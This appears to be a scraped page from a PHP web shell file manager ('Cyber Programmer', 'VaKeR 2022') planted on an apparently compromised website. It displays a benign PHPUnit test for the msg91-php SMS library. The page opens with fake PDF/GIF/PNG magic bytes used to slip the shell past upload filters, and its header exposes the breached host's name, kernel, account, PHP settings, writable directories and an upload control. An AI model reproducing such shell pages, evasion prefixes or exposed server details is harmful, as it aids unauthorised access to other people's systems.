%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/craftsys/msg91-php/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/craftsys/msg91-php/tests/URLsTest.php
<?php

namespace Craftsys\Tests\Msg91;

use Craftsys\Msg91\URLs;
use Craftsys\Tests\Msg91\TestCase;
use GuzzleHttp\Client;

class URLsTest extends TestCase
{
    protected function check_not_404(string $url, string $method = "post")
    {
        $client = new Client();
        $method = strtolower($method);
        /** @var \GuzzleHttp\Psr7\Response  $response */
        $response = $client->{$method}($url);
        $this->assertNotEquals(404, $response->getStatusCode());
    }

    public function test_send_otp_url()
    {
        $this->check_not_404(URLs::OTP_URL);
    }

    public function test_verify_otp_url()
    {
        $this->check_not_404(URLs::OTP_VERIFY_URL);
    }

    public function test_resend_otp_url()
    {
        $this->check_not_404(URLs::OTP_RESEND_URL);
    }

    public function test_send_sms()
    {
        $this->check_not_404(URLs::SEND_SMS_URL);
    }
}

VaKeR 2022